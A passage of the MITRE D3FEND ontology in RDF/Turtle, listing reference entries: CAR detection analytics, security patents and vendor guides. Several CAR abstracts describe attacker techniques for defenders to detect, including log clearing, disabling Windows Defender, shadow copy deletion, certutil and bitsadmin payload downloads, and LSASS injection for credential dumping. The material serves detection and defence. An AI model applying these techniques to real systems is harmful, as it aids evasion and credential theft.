    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-003/"^^xsd:anyURI ;
    d3f:kb-abstract "In an attempt to clear traces after compromising a machine, threat actors often try to clear Windows Event logs. This is often done using “wevtutil”, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network." ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-003: Clearing Windows Logs with Wevtutil" .

d3f:Reference-CAR-2021-01-004%3AUnusualChildProcessForSpoolsv.ExeOrConnhost.Exe_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-004: Unusual Child Process for Spoolsv.Exe or Connhost.Exe - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-004/"^^xsd:anyURI ;
    d3f:kb-abstract "After gaining initial access to a system, threat actors attempt to escalate privileges as they may be operating within a lower privileged process which does not allow them to access protected information or carry out tasks which require higher permissions. A common way of escalating privileges in a system is by externally invoking and exploiting spoolsv or connhost executables, both of which are legitimate Windows applications. This query searches for an invocation of either of these executables by a user, thus alerting us of any potentially malicious activity." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-004: Unusual Child Process for Spoolsv.Exe or Connhost.Exe" .

d3f:Reference-CAR-2021-01-006%3AUnusualChildProcessSpawnedUsingDDEExploit_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-006: Unusual Child Process spawned using DDE exploit - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-006/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-006: Unusual Child Process spawned using DDE exploit" .

d3f:Reference-CAR-2021-01-007%3ADetectingTamperingOfWindowsDefenderCommandPrompt_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-007: Detecting Tampering of Windows Defender Command Prompt - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-007/"^^xsd:anyURI ;
    d3f:kb-abstract "In an attempt to avoid detection after compromising a machine, threat actors often try to disable Windows Defender. This is often done using “sc” [service control], a legitimate tool provided by Microsoft for managing services. This action interferes with event detection and may lead to a security event going undetected, thereby potentially leading to further compromise of the network." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "d" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-007: Detecting Tampering of Windows Defender Command Prompt" .

d3f:Reference-CAR-2021-01-008%3ADisableUAC_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-008: Disable UAC - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-008/"^^xsd:anyURI ;
    d3f:kb-abstract "Threat actors often, after compromising a machine, try to disable User Access Control (UAC) to escalate privileges. This is often done by changing the registry key for system policies using “reg.exe”, a legitimate tool provided by Microsoft for modifying the registry via command prompt or scripts. This action interferes with UAC and may enable a threat actor to escalate privileges on the compromised system, thereby allowing further exploitation of the system." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-008: Disable UAC" .

d3f:Reference-CAR-2021-01-009%3ADetectingShadowCopyDeletionViaVssadmin.exe_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-009: Detecting Shadow Copy Deletion via Vssadmin.exe - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-009/"^^xsd:anyURI ;
    d3f:kb-abstract "After compromising a network of systems, threat actors often try to delete Shadow Copy in an attempt to prevent administrators from restoring the systems to versions present before the attack. This is often done via vssadmin, a legitimate Windows tool to interact with shadow copies. This non-detection of this technique, which is often employed by ransomware strains such as “Olympic Destroyer”, may lead to a failure in recovering systems after an attack." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-009: Detecting Shadow Copy Deletion via Vssadmin.exe" .

d3f:Reference-CAR-2021-02-001%3AWebshell-IndicativeProcessTree_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-02-001: Webshell-Indicative Process Tree - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-02-001/"^^xsd:anyURI ;
    d3f:kb-abstract "A web shell is a web script placed on an openly accessible web server to allow an adversary to use the server as a gatway in a network. As the shell operates, commands will be issued from within the web application into the broader server operating system. This analytic looks for host enumeration executables initiated by any web service that would not normally be executed within that environment." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-02-001: Webshell-Indicative Process Tree" .

d3f:Reference-CAR-2021-02-002%3AGetSystemElevation_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-02-002: Get System Elevation - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-02-002/"^^xsd:anyURI ;
    d3f:kb-abstract "Cyber actors frequently escalate to the SYSTEM account after gaining entry to a Windows host, to enable them to carry out various attacks more effectively. Tools such as Meterpreter, Cobalt Strike, and Empire carry out automated steps to “Get System”, which is the same as switching over to the System user account. Most of these tools utilize multiple techniques to try and attain SYSTEM: in the first technique, they create a named pipe and connects an instance of cmd.exe to it, which allows them to impersonate the security context of cmd.exe, which is SYSTEM. In the second technique, a malicious DLL is injected into a process that is running as SYSTEM; the injected DLL steals the SYSTEM token and applies it where necessary to escalate privileges. This analytic looks for both of these techniques." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2021-02-002: Get System Elevation" .

d3f:Reference-CAR-2021-04-001%3ACommonWindowsProcessMasquerading_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-04-001: Common Windows Process Masquerading - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-04-001/"^^xsd:anyURI ;
    d3f:kb-abstract """Masquerading (T1036) is defined by ATT&CK as follows:

“Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.”

Malware authors often use this technique to hide malicious executables behind legitimate Windows executable names (e.g. lsass.exe, svchost.exe, etc).

There are several sub-techniques, but this analytic focuses on Match Legitimate Name or Location only.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-04-001: Common Windows Process Masquerading" .

d3f:Reference-CAR-2021-05-001%3AAttemptToAddCertificateToUntrustedStore_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-001: Attempt To Add Certificate To Untrusted Store - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may add their own root certificate to the certificate store, to cause the web browser to trust that certificate and not display a security warning when it encounters the previously unseen certificate. This action may be the precursor to malicious activity." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-001: Attempt To Add Certificate To Untrusted Store" .

d3f:Reference-CAR-2021-05-002%3ABatchFileWriteToSystem32_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-002: Batch File Write to System32 - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-002/"^^xsd:anyURI ;
    d3f:kb-abstract "While batch files are not inherently malicious, it is uncommon to see them created after OS installation, especially in the Windows directory. This analytic looks for the suspicious activity of a batch file being created within the C:\\Windows\\System32 directory tree. There will be only occasional false positives due to administrator actions." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-002: Batch File Write to System32" .

d3f:Reference-CAR-2021-05-004%3ABITSJobPersistence_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-004: BITS Job Persistence - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-004/"^^xsd:anyURI ;
    d3f:kb-abstract "The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe scheduling a BITS job to persist on an endpoint. The query identifies the parameters used to create, resume or add a file to a BITS job. Typically seen combined in a oneliner or ran in sequence. If identified, review the BITS job created and capture any files written to disk. It is possible for BITS to be used to upload files and this may require further network data analysis to identify. You can use bitsadmin /list /verbose to list out the jobs during investigation." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-004: BITS Job Persistence" .

d3f:Reference-CAR-2021-05-005%3ABITSAdminDownloadFile_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-005: BITSAdmin Download File - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-005/"^^xsd:anyURI ;
    d3f:kb-abstract "The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Note that the network connection or file modification events related will not spawn or create from bitsadmin.exe, but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS. It’s important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-005: BITSAdmin Download File" .

d3f:Reference-CAR-2021-05-006%3ACertUtilDownloadWithURLCacheAndSplitArguments_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-006: CertUtil Download With URLCache and Split Arguments - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-006/"^^xsd:anyURI ;
    d3f:kb-abstract "Certutil.exe may download a file from a remote destination using -urlcache. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. However, it is uncommon for certutil.exe to write files to world writeable paths.\\ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-006: CertUtil Download With URLCache and Split Arguments" .

d3f:Reference-CAR-2021-05-007%3ACertUtilDownloadWithVerifyCtlAndSplitArguments_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-007: CertUtil Download With VerifyCtl and Split Arguments - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-007/"^^xsd:anyURI ;
    d3f:kb-abstract "Certutil.exe may download a file from a remote destination using -VerifyCtl. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. \\ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question. Using -VerifyCtl, the file will either be written to the current working directory or %APPDATA%\\..\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\<hash>." ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-007: CertUtil Download With VerifyCtl and Split Arguments" .

d3f:Reference-CAR-2021-05-008%3ACertutilExeCertificateExtraction_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-008: Certutil exe certificate extraction - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-008/"^^xsd:anyURI ;
    d3f:kb-abstract "This search looks for arguments to certutil.exe indicating the manipulation or extraction of Certificate. This certificate can then be used to sign new authentication tokens specially inside Federated environments such as Windows ADFS." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-008: Certutil exe certificate extraction" .

d3f:Reference-CAR-2021-05-009%3ACertUtilWithDecodeArgument_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-009: CertUtil With Decode Argument - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-009/"^^xsd:anyURI ;
    d3f:kb-abstract "CertUtil.exe may be used to encode and decode a file, including PE and script code. Encoding will convert a file to base64 with -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- tags. Malicious usage will include decoding a encoded file that was downloaded. Once decoded, it will be loaded by a parallel process. Note that there are two additional command switches that may be used - encodehex and decodehex. Similarly, the file will be encoded in HEX and later decoded for further execution. During triage, identify the source of the file being decoded. Review its contents or execution behavior for further analysis." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-009: CertUtil With Decode Argument" .

d3f:Reference-CAR-2021-05-010%3ACreateLocalAdminAccountsUsingNetExe_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-010: Create local admin accounts using net exe - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-010/"^^xsd:anyURI ;
    d3f:kb-abstract "This search looks for the creation of local administrator accounts using net.exe." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-010: Create local admin accounts using net exe" .

d3f:Reference-CAR-2021-05-011%3ACreateRemoteThreadIntoLSASS_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-011: Create Remote Thread into LSASS - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-011/"^^xsd:anyURI ;
    d3f:kb-abstract "Actors may create a remote thread into the LSASS service as part of a workflow to dump credentials." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-011: Create Remote Thread into LSASS" .

d3f:Reference-CManualIntegerInitialization_GNU a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Integer Initialization - GNU C Manual" ;
    d3f:has-link "https://www.gnu.org/software/gnu-c-manual/gnu-c-manual.html#Integer-Types"^^xsd:anyURI ;
    d3f:kb-organization "GNU" ;
    d3f:kb-reference-of d3f:VariableInitialization ;
    d3f:kb-reference-title "Integer Initialization in C" .

d3f:Reference-CManualPointerArithmetic_GNU a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Memory Block Start Validation - GNU C Manual" ;
    d3f:has-link "https://www.gnu.org/software/c-intro-and-ref/manual/html_node/Pointer-Arithmetic.html"^^xsd:anyURI ;
    d3f:kb-organization "GNU" ;
    d3f:kb-reference-of d3f:MemoryBlockStartValidation ;
    d3f:kb-reference-title "Pointer Arithmetic in C" .

d3f:Reference-CPGChecklist a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - CISA CPG Checklist" ;
    d3f:has-link "https://www.cisa.gov/resources-tools/resources/cisa-cpg-checklist"^^xsd:anyURI ;
    d3f:kb-abstract "This document is to be used in tandem with the CPGs to help prioritize and track your organization's implementation." ;
    d3f:kb-author "CISA" ;
    d3f:kb-reference-of d3f:ChangeDefaultPassword ;
    d3f:kb-reference-title "CISA CPG Checklist" .

d3f:Reference-CertificateAndPublicKeyPinning a d3f:TechniqueReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Certificate and Public Key Pinning" ;
    d3f:has-link "https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning"^^xsd:anyURI ;
    d3f:kb-abstract "Certificate and Public Key Pinning technical guide to implementing certificate and public key pinning." ;
    d3f:kb-author "OWASP" ;
    d3f:kb-organization "OWASP" ;
    d3f:kb-reference-of d3f:CertificatePinning ;
    d3f:kb-reference-title "Certificate and Public Key Pinning" .

d3f:Reference-CertificateTransparency a d3f:TechniqueReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Certificate Transparency" ;
    d3f:has-link "https://www.certificate-transparency.org/"^^xsd:anyURI ;
    d3f:kb-abstract """Google's Certificate Transparency project fixes several structural flaws in the SSL certificate system, which is the main cryptographic system that underlies all HTTPS connections.

These flaws weaken the reliability and effectiveness of encrypted Internet connections and can compromise critical TLS/SSL mechanisms, including domain validation, end-to-end encryption, and the chains of trust set up by certificate authorities.""" ;
    d3f:kb-author "Google" ;
    d3f:kb-organization "Google" ;
    d3f:kb-reference-of d3f:PassiveCertificateAnalysis ;
    d3f:kb-reference-title "Certificate Transparency" .

d3f:Reference-CiscoASR9000AccessListCommands a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Cisco ASR 9000 Series Aggregation Services Routers - Access List Commands" ;
    d3f:has-link "https://www.cisco.com/c/en/us/td/docs/routers/asr9000/software/asr9k_r4-0/addr_serv/command/reference/ir40asrbook_chapter1.html"^^xsd:anyURI ;
    d3f:kb-abstract "An access control list (ACL) consists of one or more access control entries (ACEs) that collectively define the network traffic profile. This profile can then be referenced by Cisco IOS XR Software software features such as traffic filtering, priority or custom queueing, and dynamic access control. Each ACL includes an action element (permit or deny) and a filter element based on criteria such as source address, destination address, protocol, and protocol-specific parameters." ;
    d3f:kb-organization "Cisco" ;
    d3f:kb-reference-of d3f:NetworkTrafficPolicyMapping ;
    d3f:kb-reference-title "Cisco ASR 9000 Series Aggregation Services Routers - Access List Commands" .

d3f:Reference-CommandLaunchedFromWinLogon_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-11-008: Command Launched from WinLogon - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-11-008/"^^xsd:anyURI ;
    d3f:kb-abstract "An adversary can use accessibility features (Ease of Access), such as StickyKeys or Utilman, to launch a command shell from the logon screen and gain SYSTEM access. Since an adversary does not have physical access to the machine, this technique must be run within Remote Desktop. To prevent an adversary from getting to the login screen without first authenticating, Network-Level Authentication (NLA) must be enabled. If a debugger is set up for one of the accessibility features, then it will intercept the process launch of the feature and instead execute a new command line. This analytic looks for instances of cmd.exe or powershell.exe launched directly from the logon process, winlogon.exe. It should be used in tandem with CAR-2014-11-003, which detects the accessibility programs in the command line." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2014-11-008: Command Launched from WinLogon" .

d3f:Reference-CommandLineUsageOfArchivingSoftware_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-07-005: Command Line Usage of Archiving Software - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-07-005/"^^xsd:anyURI ;
    d3f:kb-abstract """Before exfiltrating data that an adversary has collected, it is very likely that a compressed archive will be created, so that transfer times are minimized and fewer files are transmitted. There is variety between the tools used to compress data, but the command line usage and context of archiving tools, such as ZIP, RAR, and 7ZIP, should be monitored.

In addition to looking for RAR or 7z program names, command line usage of 7Zip or RAR can be detected with the flag usage of "\\* a \\*". This is helpful, as adversaries may change program names.""" ;
    d3f:kb-author "" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2013-07-005: Command Line Usage of Archiving Software" .

d3f:Reference-ComputationalModelingAndClassificationOfDataStreams_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Computational modeling and classification of data streams - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20180197089A1/en?oq=US-2018197089-A1"^^xsd:anyURI ;
    d3f:kb-abstract "Example techniques described herein determine a signature or classification of a data stream such as a file. The classification can indicate whether the data stream is associated with malware. A processor can locate training analysis regions of training data streams based on predetermined structure data, and determining training model inputs based on the training analysis regions. The processor can determine a computational model based on the training model inputs. The computational model can receive an input vector and provide a corresponding feature vector. The processor can then locate a trial analysis region of a trial data stream based on the predetermined structure data and determine a trial model input. The processor can operate the computational model based on the trial model input to provide a trial feature vector, e.g., a signature. The processor can operate a second computational model to provide a classification based on the signature." ;
    d3f:kb-author "Sven Krasser; David Elkind; Patrick Crenshaw; Brett Meyer" ;
    d3f:kb-mitre-analysis "Provides a mechanism to classify files using file signatures based on a computational model. Training data that comprises at least a portion of a file, e.g. number of bytes, is used as input to the computational model to develop a file signature and classify the file as malware." ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:FileContentRules ;
    d3f:kb-reference-title "Computational modeling and classification of data streams" .

d3f:Reference-Computer-implementedMethodsAndSystemsForIdentifyingVisuallySimilarTextCharacterStrings_GreathornInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Computer-implemented methods and systems for identifying visually similar text character strings - Greathorn Inc" ;
    d3f:has-link "https://patents.google.com/patent/US10320815B2/en?oq=US-10320815-B2"^^xsd:anyURI ;
    d3f:kb-abstract "Methods and systems are disclosed for selecting text character strings from a corpus of relevant strings that would commonly be considered to be visually similar to human viewer to an input string. The initial corpus may be any sufficiently broad or specific source of text, e.g., the names of users in a computer application system. The character strings in the corpus are classified such that direct, character-by-character comparisons may be limited to a small subset of likely-similar strings. The input string is then directly compared to strings that are likely to be similar to it, taking into account individual characters' similarities, combinations of characters that look similar to individual characters, transposition of characters, and simple additions and deletions." ;
    d3f:kb-author "Raymond W. Wallace, III" ;
    d3f:kb-mitre-analysis "Text input is compared to an engine of look-alike sets of text characters. An estimate of similar characters based on the engine is conducted, and an alert is triggered if the estimated similarity is lower than a given threshold." ;
    d3f:kb-organization "Greathorn Inc" ;
    d3f:kb-reference-of d3f:HomoglyphDetection ;
    d3f:kb-reference-title "Computer-implemented methods and systems for identifying visually similar text character strings" .

d3f:Reference-ComputerMotherboardHavingPeripheralSecurityFunctions a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Computer motherboard having peripheral security functions" ;
    d3f:has-link "https://patents.google.com/patent/US8869308B2/en"^^xsd:anyURI ;
    d3f:kb-abstract "A secure motherboard for a computer, wherein each user accessible peripheral port is protected by hardware based peripheral protection circuitry soldered to the motherboard." ;
    d3f:kb-author "Aviv Soffer" ;
    d3f:kb-organization "High Sec Labs Ltd" ;
    d3f:kb-reference-of d3f:IOPortRestriction ;
    d3f:kb-reference-title "Computer motherboard having peripheral security functions" .

d3f:Reference-ComputerWormDefenseSystemAndMethod_FireEyeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Computer Worm Defense System and Method - FireEye Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20130036472A1"^^xsd:anyURI ;
    d3f:kb-abstract "\"A computer worm defense system comprises multiple containment systems tied together by a management system. Each containment system is deployed on a separate communication network and contains a worm sensor and a blocking system. In various embodiments, the computer worm may be transported from a production network, where the computer worm is not readily identifiable, to an alternate network in the worm sensor where the computer worm may be readily identifiable. Computer worm identifiers generated by a worm sensor of one containment system can be provided not only to the blocking system of the same containment system, but can also be distributed by the management system to blocking systems of other containment systems.\"" ;
    d3f:kb-author "Ashar Aziz" ;
    d3f:kb-mitre-analysis "This patent describes network data being copied by a tap and then analyzed in an analysis environment to determine whether the network data is suspicious using a heuristic module. The analysis environment replays transmission of the suspicious network data between a configured replayer and a virtual machine to detect unauthorized activity." ;
    d3f:kb-organization "FireEye Inc" ;
    d3f:kb-reference-of d3f:FileCarving ;
    d3f:kb-reference-title "Computer Worm Defense System and Method" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ComputingApparatusWithAutomaticIntegrityReferenceGenerationAndMaintenance_Tripwire,Inc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Computing apparatus with automatic integrity reference generation and maintenance - Tripwire, Inc." ;
    d3f:has-link "https://patents.google.com/patent/US20040060046A1"^^xsd:anyURI ;
    d3f:kb-abstract "An apparatus is equipped to automatically update one or more integrity references of a software entity, when the software entity is installed onto the apparatus. The apparatus is further equipped to periodically determine whether the integrity of the apparatus has been compromised based at least in part on the one or more integrity references of the software entity that are automatically updated during installation of the software entity." ;
    d3f:kb-author "Thomas Good, Robert DiFalco, Gene Kim" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Tripwire, Inc." ;
    d3f:kb-reference-of d3f:ExecutableAllowlisting ;
    d3f:kb-reference-title "Computing apparatus with automatic integrity reference generation and maintenance" .

d3f:Reference-ConfigureUserAccessControlAndPermissions a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Configure User Access Control and Permissions" ;
    d3f:has-link "https://docs.microsoft.com/en-us/windows-server/manage/windows-admin-center/configure/user-access-control"^^xsd:anyURI ;
    d3f:kb-abstract "When deployed on Windows Server, Windows Admin Center provides a centralized point of management for your server environment. By controlling access to Windows Admin Center, you can improve the security of your management landscape." ;
    d3f:kb-author "Microsoft" ;
    d3f:kb-reference-of d3f:UserAccountPermissions ;
    d3f:kb-reference-title "Configure User Access Control and Permissions" .

d3f:Reference-ContainerImageAnalysis a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Container Image Analysis" ;
    d3f:has-link "https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/0/CTR_Kubernetes_Hardening_Guidance_1.1_20220315.PDF"^^xsd:anyURI ;
    d3f:kb-abstract """Container Images can contain unneeded, unsecured or insecure files.
        By analyzing the container image, we can identify whether it respects
        a specific set of predefined policies.""" ;
    d3f:kb-author "National Security Agency" ;
    d3f:kb-reference-of d3f:ContainerImageAnalysis ;
    d3f:kb-reference-title "Kubernetes Hardening Guide" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ContentExtractorAndAnalysisSystem_Bit9Inc,CarbonBlackInc> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Content extractor and analysis system - Bit 9 Inc, Carbon Black Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20070028110A1"^^xsd:anyURI ;
    d3f:kb-abstract "A security system provides a defense from known and unknown viruses, worms, spyware, hackers, and unwanted software. The system can implement centralized policies that allow an administrator to approve, block, quarantine, and log file activities. The system can extract content of interest from a file container, repackage the content of interest as another valid file type, perform hashes on the content of interest, associate the hash of the container with the hash of the repackaged content, transfer the repackaged content, and store the hash with other security-related information." ;
    d3f:kb-author "Todd Brennan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Bit 9 Inc, Carbon Black Inc" ;
    d3f:kb-reference-of d3f:ExecutableDenylisting ;
    d3f:kb-reference-title "Content extractor and analysis system" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ContinuousAuthenticationByAnalysisOfKeyboardTypingCharacteristics_BradfordUniv.,UK> a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Continuous authentication by analysis of keyboard typing characteristics - Bradford Univ., UK" ;
    d3f:has-link "https://ieeexplore.ieee.org/document/491588?reload=true&arnumber=491588"^^xsd:anyURI ;
    d3f:kb-abstract """This paper describes a simple, software based keyboard monitoring system for the IBM PC for the continuous analysis of the typing characteristics of the user for the purpose of continuous authentication. By exploiting the electrical characteristics of the PC keyboard interface together with modifications to the internal system timer, very accurate measurements can be made of keystroke interval and duration, including measurements of rollover. Rollover patterns, particularly when typing common diphthongs, can be highly characteristic of individual users and provide quite an accurate indication of the users identity.
